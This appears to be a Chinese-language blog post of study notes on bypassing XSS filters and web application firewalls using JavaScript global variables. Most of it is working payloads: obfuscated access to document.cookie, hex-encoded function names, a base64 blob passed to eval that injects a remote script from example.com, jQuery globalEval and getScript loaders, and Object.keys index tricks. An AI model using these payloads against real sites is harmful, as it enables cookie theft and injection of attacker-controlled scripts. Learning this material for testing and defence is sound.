Damn1t
for you I bleed myself dry
FRIENDS
baidu

Bypass XSS filters using JavaScript global variables(笔记)

2019-06-19 xss

Bypass XSS filters using JavaScript global variables

前言

很有意思的一篇文章,学到了一些姿势,以下仅作笔记

你所需要知道的

什么是js全局变量?

A JavaScript global variable is declared outside the function or declared with window object. It can be accessed from any function. https://www.javatpoint.com/javascript-global-variable

关于 “self” 对象

The Window.self read-only property returns the window itself, as a WindowProxy. It can be used with dot notation on a window object (that is, window.self) or standalone (self). The advantage of the standalone notation is that a similar notation exists for non-window contexts, such as in Web Workers. By using self, you can refer to the global scope in a way that will work not only in a window context (self will resolve to window.self) but also in a worker context (self will then resolve to WorkerGlobalScope.self). https://developer.mozilla.org/en-US/docs/Web/API/Window/self

self有类似功能的对象:

  • window
  • self
  • _self
  • this
  • top
  • parent
  • frames

1.级联和hex编码方式

有很多的WAF使用的过滤器都是基于JS的函数的黑名单模式,大多数都包含了诸如alert()或者String.fromCharCode()。幸好我们有全局变量,所以我们可以轻松的bypass,例如:

1
2
3
4
5
/*
** alert(document.cookie);
*/

self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])

稍复杂的绕过限制的方式是将字符串替换为以\x格式编码的hex序列(ascii码低于256):

1
2
> console.log("\x68\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64\x21")
< hello, world!

我们可以将其替换我们想使用的任意函数

eval以及利用base64加密

对于过滤我们输入的WAF,其中一个困难的事情就是动态创建或添加一个调用远程js文件的script元素。即使是一个功能不那么强大的过滤器,构建依然是困难的,因为这里有太多可识别的字符(<script, src=, http://等等)

所以我们就可以利用base64eval():

1
2
3
4
5
6
7
8
9
10
11
12
self["\x65\x76\x61\x6c"](//eval
self["\x61\x74\x6f\x62"](//atob
"dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50\
c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyI\
HNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbn\
QoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGU\
oJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2Ny\
aXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6L\
y9leGFtcGxlLmNvbS9teS5qcycpO2hlYWQuYXBwZW\
5kQ2hpbGQoc2NyaXB0KTs="
)
)

base64即是编码的如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// select head tag
var head = document.getElementsByTagName('head').item(0);

// create an empty <script> element
var script = document.createElement('script');

// set the script element type attribute
script.setAttribute('type', 'text/javascript');

// set the script element src attribute
script.setAttribute('src','http://example.com/my.js');

// append it to the head element
head.appendChild(script);

3.jQuery

现在的网站大量利用了诸如jQuery的第三方库。当self["eval"]和hex编码无法使用,于是我们可以利用如self["$"]["globalEval"]





PAYLOADACTION
self["$"]["globalEval"]("alert(1)");pass
self["\x24"] ["\x67\x6c\x6f\x62\x61\x6c\x45\x76\x61\x6c"] ("\x61\x6c\x65\x72\x74\x28\x31\x29");pass

你可以轻易添加一个本地或远程脚本利用self["$"]["getScript"](url)来进行加载,. getScriptget请求的方式从服务器加载一个js文件。该脚本在全局上下文中执行,因此它可以引用其他变量并使用jQuery函数。

PAYLOAD ACTION
self["$"]["getScript"]("https://example.com/my.js"); pass

4.Iteration and Object.keys

Object.keys()以数组形式返回所给的对象所拥有的属性(property)名称,与正常循环相同的顺序。

这意味着我们可以通过使用索引号而不是函数名来访问任何JavaScript函数。例如,打开浏览器的Web控制台并键入:

1
c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }

这为您提供了self对象中“alert”函数的索引号。每个浏览器和每个打开的文档(在我的示例中为5)的数字不同,但它可以使您无需使用其名称即可调用任何函数。例如:

1
2
3
> Object.keys(self)[5]
< "alert"
> self[Object.keys(self)[5]]("foo") // alert("foo")

为了迭代self中的所有函数,你可以遍历self对象并检查元素是否是使用typeof elm ===“function”的函数:

1
2
3
4
5
6
7
f=""
for(i in self) {
if(typeof self[i] === "function") {
f += i+", "
}
};
console.log(f)

如前所述,这个数字可以在不同的浏览器和文档上更改,因此,如果不允许“alert”字符串并且不能使用上述任何方法,我们如何找到“alert”索引号?JavaScript为您提供了很多机会。我们可以做的一件事是为变量分配(a),一个迭代self并找到alert索引号的函数。然后,我们可以使用test()来查找带有正则表达式的“alert”,如^ a [rel] + t $

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
a = function() {
c=0; // index counter
for(i in self) {
if(/^a[rel]+t$/.test(i)) {
return c;
}
c++;
}
}

// in one line
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}}

// then you can use a() with Object.keys
// alert("foo")

self[Object.keys(self)[a()]]("foo")

注:

test() 方法用于检测一个字符串是否匹配某个模式.
语法:
RegExpObject.test(string)

返回值:
如果字符串 string 中含有与 RegExpObject 匹配的文本,则返回 true,否则返回 false。

说明:
调用 RegExp 对象 r 的 test() 方法,并为它传递字符串 s,与这个表示式是等价的:(r.exec(s) != null)。

原文地址:
https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/

Author: damn1t

Link: http://microvorld.com/2019/06/19/vulnerable/Bypass XSS filters using JavaScript global variables/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
Pyppeteer学习笔记
NextPost >
fbctf2019
CATALOG
  1. 1. Bypass XSS filters using JavaScript global variables
    1. 1.1. 前言
    2. 1.2. 你所需要知道的
      1. 1.2.1. 什么是js全局变量?
      2. 1.2.2. 关于 “self” 对象
    3. 1.3. 1.级联和hex编码方式
    4. 1.4. eval以及利用base64加密
    5. 1.5. 3.jQuery
    6. 1.6. 4.Iteration and Object.keys